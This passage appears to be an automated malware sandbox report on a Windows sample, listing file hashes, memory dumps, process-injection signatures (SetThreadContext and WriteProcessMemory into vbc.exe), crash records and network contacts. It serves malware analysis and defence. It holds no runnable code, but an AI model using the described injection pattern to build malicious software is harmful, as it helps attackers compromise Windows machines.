memory/1440-126-0x000000001B6F0000-0x000000001B9EF000-memory.dmp
memory/1440-133-0x00000000025AB000-0x00000000025CA000-memory.dmp
memory/756-134-0x0000000000000000-mapping.dmp
memory/1144-135-0x0000000000000000-mapping.dmp
memory/1396-136-0x0000000000000000-mapping.dmp
memory/1640-137-0x0000000000000000-mapping.dmp
memory/1040-138-0x0000000000000000-mapping.dmp
memory/1440-140-0x00000000025AB000-0x00000000025CA000-memory.dmp
memory/1440-139-0x00000000025A4000-0x00000000025A7000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
| MD5 | f5c51e7760315ad0f0238d268c03c60e |
| SHA1 | 85ebaaa9685634143a72bc82c6e7df87a78eed4c |
| SHA256 | ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa |
| SHA512 | d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35 |
memory/980-142-0x0000000140001938-mapping.dmp
memory/112-144-0x0000000000000000-mapping.dmp
memory/1960-143-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-16 13:34
Reported
2023-01-16 14:47
Platform
win10v2004-20221111-en
Max time kernel
189s
Max time network
234s
Command Line
Signatures
Uses the VBS compiler for execution
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1728 set thread context of 2348 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1728 wrote to memory of 2348 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 1728 wrote to memory of 2348 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 1728 wrote to memory of 2348 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 1728 wrote to memory of 2348 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 1728 wrote to memory of 2348 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2348 -ip 2348
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1728 -ip 1728
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 12
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1728 -s 300
Network
| Country | Destination | Domain | Proto |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 104.80.225.205:443 | tcp | |
| N/A | 20.50.201.200:443 | tcp | |
| N/A | 8.8.8.8:53 | 226.101.242.52.in-addr.arpa | udp |
Files
memory/2348-132-0x0000000000000000-mapping.dmp
memory/2348-133-0x0000000000400000-0x0000000000405000-memory.dmp